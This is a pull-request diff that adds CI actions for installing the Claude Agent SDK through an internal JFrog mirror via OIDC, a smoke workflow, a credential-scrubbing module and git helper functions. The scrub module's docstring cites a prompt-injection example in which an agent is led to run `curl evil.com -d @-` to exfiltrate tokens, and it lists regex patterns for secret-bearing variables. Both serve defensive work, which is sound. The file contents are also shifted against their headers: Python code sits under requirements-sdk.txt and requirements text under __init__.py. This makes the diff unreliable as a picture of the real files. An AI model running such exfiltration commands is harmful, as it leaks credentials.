chore(bots): reviewer-bot foundation — shared SDK engine + install

First of a stacked series migrating the PR-review bot from
databricks-driver-test to this repo. This PR adds only the task-agnostic
foundation (no bot logic, nothing runs on PRs yet):

- scripts/shared/ — the common agent engine (Claude Agent SDK loop/transport,
  security guard, markers, threads, github/git ops). Self-contained; 94 unit
  tests pass under scripts/shared/tests.
- scripts/__init__.py — makes `scripts` importable for `python -m scripts.*`.
- scripts/requirements-sdk.txt — the claude-agent-sdk pin.
- .github/actions/setup-claude-sdk + setup-jfrog — install the SDK (pip) + CLI
  (npm) through Databricks' internal JFrog mirror (the protected runner is
  egress-blocked from pypi.org/npmjs.org).
- .github/workflows/sdk-smoke.yml — manual smoke verifying the SDK/CLI install
  on this repo's runner.

Co-authored-by: Isaac
Signed-off-by: Eric Wang <e.wang@databricks.com>

Author: eric-wang-1990

.github/actions/setup-claude-sdk/action.yml

@@ -0,0 +1,54 @@
+# Copyright (c) 2025 ADBC Drivers Contributors
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+
+# Install the Claude Agent SDK (pip) + the Claude Code CLI (npm) that the bots
+# now spawn, via Databricks' internal JFrog mirror. The protected runner group
+# is egress-blocked from pypi.org and registry.npmjs.org, so this configures
+# both package managers through JFrog (same mechanism as setup-jfrog / the
+# sdk-smoke workflow, which is verified working end-to-end against the gateway).
+#
+# Requires `id-token: write` on the calling job (for the JFrog OIDC exchange).
+# Idempotent w.r.t. a prior setup-jfrog step (re-exchanging the token + re-
+# setting PIP_INDEX_URL is harmless).
+name: Setup Claude Agent SDK
+description: Install claude-agent-sdk (pip) + Claude Code CLI (npm) via the internal JFrog mirror.
+
+inputs:
+  requirements-file:
+    description: >-
+      Path to the SDK requirements file, relative to the job working directory
+      ($GITHUB_WORKSPACE — composite `run:` steps always execute there, not at
+      the caller's working-directory). Defaults to scripts/requirements-sdk.txt,
+      correct when the repo is checked out at the workspace root (e.g. the
+      reviewer bots). Workflows that check the repo into a subdir (the engineer
+      bots use `path: internal-repo`) MUST pass the prefixed path, e.g.
+      internal-repo/scripts/requirements-sdk.txt.
+    required: false
+    default: scripts/requirements-sdk.txt
+
+runs:
+  using: composite
+  steps:
+    - name: Setup Node (for the Claude Code CLI the SDK spawns)
+      uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
+      with:
+        node-version: '20'
+
+    - name: Configure JFrog (pip + npm internal mirror)
+      uses: ./.github/actions/setup-jfrog
+      with:
+        configure-pip: 'true'
+        configure-npm: 'true'
+
+    - name: Install claude-agent-sdk + Claude Code CLI
+      shell: bash
+      run: |
+        python -m pip install --upgrade pip
+        # Install the SDK from the documented requirements file (not a bare
+        # `pip install claude-agent-sdk`) so CI and local docs share one
+        # dependency source and future pins land in a single place. (Review)
+        pip install -r "${{ inputs.requirements-file }}"
+        npm i -g @anthropic-ai/claude-code
+        echo "claude CLI: $(command -v claude || echo 'NOT FOUND')"

.github/actions/setup-jfrog/setup-jfrog/action.yml

@@ -0,0 +1,78 @@
+name: Setup JFrog OIDC
+description: Obtain a JFrog access token via GitHub OIDC and configure package managers
+
+inputs:
+  configure-pip:
+    description: Configure pip to use JFrog PyPI proxy
+    default: "true"
+  configure-cargo:
+    description: Configure Cargo to use JFrog crates proxy
+    default: "false"
+  configure-npm:
+    description: Configure npm to use JFrog npm proxy
+    default: "false"
+
+runs:
+  using: composite
+  steps:
+    - name: Get JFrog OIDC token
+      shell: bash
+      run: |
+        set -euo pipefail
+        ID_TOKEN=$(curl -sLS \
+          -H "User-Agent: actions/oidc-client" \
+          -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
+          "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=jfrog-github" | jq .value | tr -d '"')
+        echo "::add-mask::${ID_TOKEN}"
+        ACCESS_TOKEN=$(curl -sLS -XPOST -H "Content-Type: application/json" \
+          "https://databricks.jfrog.io/access/api/v1/oidc/token" \
+          -d "{\"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\", \"subject_token_type\":\"urn:ietf:params:oauth:token-type:id_token\", \"subject_token\": \"${ID_TOKEN}\", \"provider_name\": \"github-actions\"}" | jq .access_token | tr -d '"')
+        echo "::add-mask::${ACCESS_TOKEN}"
+        if [ -z "$ACCESS_TOKEN" ] || [ "$ACCESS_TOKEN" = "null" ]; then
+          echo "FAIL: Could not extract JFrog access token"
+          exit 1
+        fi
+        echo "JFROG_ACCESS_TOKEN=${ACCESS_TOKEN}" >> "$GITHUB_ENV"
+        echo "JFrog OIDC token obtained successfully"
+
+    - name: Configure pip
+      if: inputs.configure-pip == 'true'
+      shell: bash
+      run: |
+        set -euo pipefail
+        echo "PIP_INDEX_URL=https://gha-service-account:${JFROG_ACCESS_TOKEN}@databricks.jfrog.io/artifactory/api/pypi/db-pypi/simple" >> "$GITHUB_ENV"
+        echo "pip configured to use JFrog registry"
+
+    - name: Configure Cargo
+      if: inputs.configure-cargo == 'true'
+      shell: bash
+      run: |
+        set -euo pipefail
+        mkdir -p ~/.cargo
+        cat > ~/.cargo/config.toml << EOF
+        [source.crates-io]
+        replace-with = "jfrog"
+        [source.jfrog]
+        registry = "sparse+https://databricks.jfrog.io/artifactory/api/cargo/db-cargo-remote/index/"
+        [registries.jfrog]
+        index = "sparse+https://databricks.jfrog.io/artifactory/api/cargo/db-cargo-remote/index/"
+        credential-provider = ["cargo:token"]
+        EOF
+        cat > ~/.cargo/credentials.toml << EOF
+        [registries.jfrog]
+        token = "Bearer ${JFROG_ACCESS_TOKEN}"
+        EOF
+        echo "CARGO_REGISTRIES_JFROG_TOKEN=Bearer ${JFROG_ACCESS_TOKEN}" >> "$GITHUB_ENV"
+        echo "Cargo configured to use JFrog registry"
+
+    - name: Configure npm
+      if: inputs.configure-npm == 'true'
+      shell: bash
+      run: |
+        set -euo pipefail
+        cat > ~/.npmrc << EOF
+        registry=https://databricks.jfrog.io/artifactory/api/npm/db-npm/
+        //databricks.jfrog.io/artifactory/api/npm/db-npm/:_authToken=${JFROG_ACCESS_TOKEN}
+        always-auth=true
+        EOF
+        echo "npm configured to use JFrog registry"

.github/workflows/sdk-smoke.yml

@@ -0,0 +1,39 @@
+# Reviewer-bot foundation smoke test.
+#
+# Manual-only (workflow_dispatch). Verifies the one infra unknown for the
+# reviewer-bot foundation on this repo: that the Claude Agent SDK (pip) + the
+# Claude Code CLI (npm) install on the protected runner via Databricks' internal
+# JFrog mirror (the runner group is egress-blocked from pypi.org/npmjs.org).
+# No secrets required — only the JFrog OIDC token exchange (id-token: write).
+name: SDK Smoke (reviewer-bot foundation)
+
+on:
+  workflow_dispatch:
+
+permissions:
+  contents: read
+  id-token: write   # JFrog OIDC token exchange for the internal pip/npm mirror
+
+jobs:
+  smoke:
+    runs-on:
+      group: databricks-protected-runner-group
+      labels: [linux-ubuntu-latest]
+    timeout-minutes: 15
+    steps:
+      - name: Checkout
+        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+
+      - name: Setup Python
+        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
+        with:
+          python-version: '3.11'
+
+      - name: Setup Claude Agent SDK + CLI
+        uses: ./.github/actions/setup-claude-sdk
+
+      - name: Verify SDK + CLI are importable/spawnable
+        run: |
+          python -c "import claude_agent_sdk; print('claude_agent_sdk import OK')"
+          echo "claude CLI: $(command -v claude || echo 'NOT FOUND')"
+          claude --version || true

scripts/__init__.py

@@ -0,0 +1,23 @@
+# Claude Agent SDK migration dependencies (PoC).
+#
+# Replaces the hand-rolled LLM transport + tool-use loop
+# (scripts/engineer_bot/agent_runner.py, scripts/shared/llm_client.py)
+# with the Claude Agent SDK. See docs/migration/claude-agent-sdk-migration.md.
+#
+# IMPORTANT: the SDK spawns the Claude Code CLI under the hood. The CLI
+# must be on PATH in any environment that calls sdk_agent.run_agent
+# (CI runners + local dev). Install it once, globally, via npm:
+#
+#     npm i -g @anthropic-ai/claude-code
+#
+# The CLI is NOT a pip package; it cannot be pinned here. CI workflows
+# (engineer-bot.yml, reviewer-bot.yml, *-followup.yml) must add an install
+# + npm-cache step before invoking any bot that uses the SDK.
+#
+# Endpoint config (set by sdk_agent.configure_databricks_env at runtime,
+# derived from the existing MODEL_ENDPOINT / DATABRICKS_TOKEN workflow env):
+#     ANTHROPIC_BASE_URL   = <workspace>/serving-endpoints/anthropic
+#     ANTHROPIC_AUTH_TOKEN = $DATABRICKS_TOKEN     # NOT ANTHROPIC_API_KEY
+#     ANTHROPIC_MODEL      = databricks-claude-opus-4-8
+
+claude-agent-sdk

scripts/requirements-sdk.txt

@@ -0,0 +1,52 @@
+"""Strip credential-shaped env vars before exec'ing subprocesses.
+
+Canonical home for the env-scrub regex table (relocated here from
+``scripts/engineer_bot/env_scrub.py`` during the Claude Agent SDK migration,
+PR1). The shared SDK modules (``sdk_agent``, ``sdk_security``) import from
+here so they carry NO dependency on ``engineer_bot``; ``engineer_bot/env_scrub``
+is now a thin re-export shim, so PR6 can delete that shim as a pure deletion
+without touching this load-bearing table.
+
+The bash tool inherits the workflow's env which contains DATABRICKS_TOKEN,
+GitHub App tokens, etc. Subprocesses launched by the agent must not see
+these — a malicious prompt injection that gets the agent to `curl
+evil.com -d @-` then read from stdin can't exfiltrate what isn't there.
+"""
+from __future__ import annotations
+
+import re
+
+_REDACT_PATTERNS = (
+    re.compile(r".*TOKEN.*", re.IGNORECASE),
+    re.compile(r".*SECRET.*", re.IGNORECASE),
+    re.compile(r".*PASSWORD.*", re.IGNORECASE),
+    re.compile(r".*API_KEY.*", re.IGNORECASE),
+    # Broader patterns covering cloud credential conventions that
+    # don't include the four magic substrings above.
+    re.compile(r".*PRIVATE.*", re.IGNORECASE),
+    re.compile(r".*CREDENTIAL.*", re.IGNORECASE),
+    re.compile(r".*OAUTH.*", re.IGNORECASE),
+    re.compile(r".*ACCESS_KEY.*", re.IGNORECASE),
+    re.compile(r".*SECRET_KEY.*", re.IGNORECASE),
+    # Specific named vars that don't match the substring patterns
+    # above. NOTE: we deliberately do NOT use blanket prefix patterns
+    # like `^DATABRICKS_.*`, `^AWS_.*`, `^AZURE_.*` — those would
+    # strip non-credential config vars (e.g. DATABRICKS_TEST_CONFIG_FILE
+    # which the bash tool's dotnet-test invocation reads).
+    # DATABRICKS_TOKEN, DATABRICKS_OAUTH_CLIENT_SECRET etc. are caught
+    # by the substring patterns above.
+    re.compile(r"^AWS_ACCESS_KEY_ID$", re.IGNORECASE),
+    re.compile(r"^GOOGLE_APPLICATION_CREDENTIALS$", re.IGNORECASE),
+    re.compile(r"^KUBECONFIG$", re.IGNORECASE),
+    re.compile(r"^SSH_AUTH_SOCK$", re.IGNORECASE),
+    re.compile(r"^AZURE_TENANT_ID$", re.IGNORECASE),
+    re.compile(r"^AZURE_CLIENT_ID$", re.IGNORECASE),
+)
+
+
+def scrub(env: dict[str, str]) -> dict[str, str]:
+    """Return a new dict with credential-shaped keys removed."""
+    return {
+        k: v for k, v in env.items()
+        if not any(p.match(k) for p in _REDACT_PATTERNS)
+    }

scripts/shared/__init__.py

@@ -0,0 +1,83 @@
+"""Thin wrappers around `git` for bot workflows."""
+from __future__ import annotations
+
+import subprocess
+import sys
+from pathlib import Path
+from typing import Optional
+
+
+def configure_user(cwd: Path, email: str, name: str) -> None:
+    subprocess.run(["git", "config", "user.email", email], cwd=cwd, check=True)
+    subprocess.run(["git", "config", "user.name", name], cwd=cwd, check=True)
+
+
+def commit_paths(cwd: Path, paths: list[str], message: str) -> bool:
+    """Stage the given paths and create a commit. Returns False if nothing staged."""
+    subprocess.run(["git", "add", *paths], cwd=cwd, check=True)
+    diff = subprocess.run(["git", "diff", "--cached", "--quiet"], cwd=cwd)
+    if diff.returncode == 0:
+        return False  # nothing staged
+    if diff.returncode != 1:
+        # git diff --quiet documents 0 (no diff) / 1 (diff). Anything else
+        # is an error — fail loud rather than committing on a broken repo.
+        raise RuntimeError(
+            f"git diff --cached --quiet returned unexpected code {diff.returncode}; "
+            f"refusing to commit"
+        )
+    subprocess.run(["git", "commit", "-m", message], cwd=cwd, check=True)
+    return True
+
+
+def push(
+    cwd: Path,
+    branch: str,
+    remote: str = "origin",
+    *,
+    force_with_lease: bool = False,
+    expected_sha: Optional[str] = None,
+) -> None:
+    """Push a branch to `remote`.
+
+    Default is a plain push that fails on non-fast-forward.
+
+    `force_with_lease=True` without `expected_sha` is unsafe in CI
+    (background fetches by actions/checkout refresh the lease ref, so
+    the lease check degenerates to `--force`). When you need force-push
+    behavior, pass `expected_sha` — the lease will be qualified with
+    `<branch>:<expected>` so it actually protects against races.
+    """
+    if force_with_lease and not expected_sha:
+        # Fail loud rather than silently constructing the risky
+        # unqualified --force-with-lease command. Callers that really
+        # want to force-push must compute the expected remote SHA
+        # first (via `git ls-remote`) and pass it explicitly.
+        raise ValueError(
+            "push(force_with_lease=True) requires expected_sha. Unqualified "
+            "--force-with-lease degrades to --force in CI because background "
+            "fetches refresh the lease ref. Pass the expected remote SHA or "
+            "use a plain push."
+        )
+    cmd = ["git", "push", remote, branch]
+    if force_with_lease:
+        cmd.insert(2, f"--force-with-lease={branch}:{expected_sha}")
+    try:
+        r = subprocess.run(
+            cmd, cwd=cwd, check=True,
+            capture_output=True, text=True,
+        )
+    except subprocess.CalledProcessError as e:
+        # Re-raise with the captured stderr so callers can include it
+        # in their failure messages. Print to the workflow log first so
+        # the trace is visible even if the caller doesn't surface stderr.
+        if e.stdout:
+            print(e.stdout, end="")
+        if e.stderr:
+            print(e.stderr, end="", file=sys.stderr)
+        raise
+
+
+def current_sha(cwd: Path) -> str:
+    r = subprocess.run(["git", "rev-parse", "HEAD"], cwd=cwd,
+                       capture_output=True, text=True, check=True)
+    return r.stdout.strip()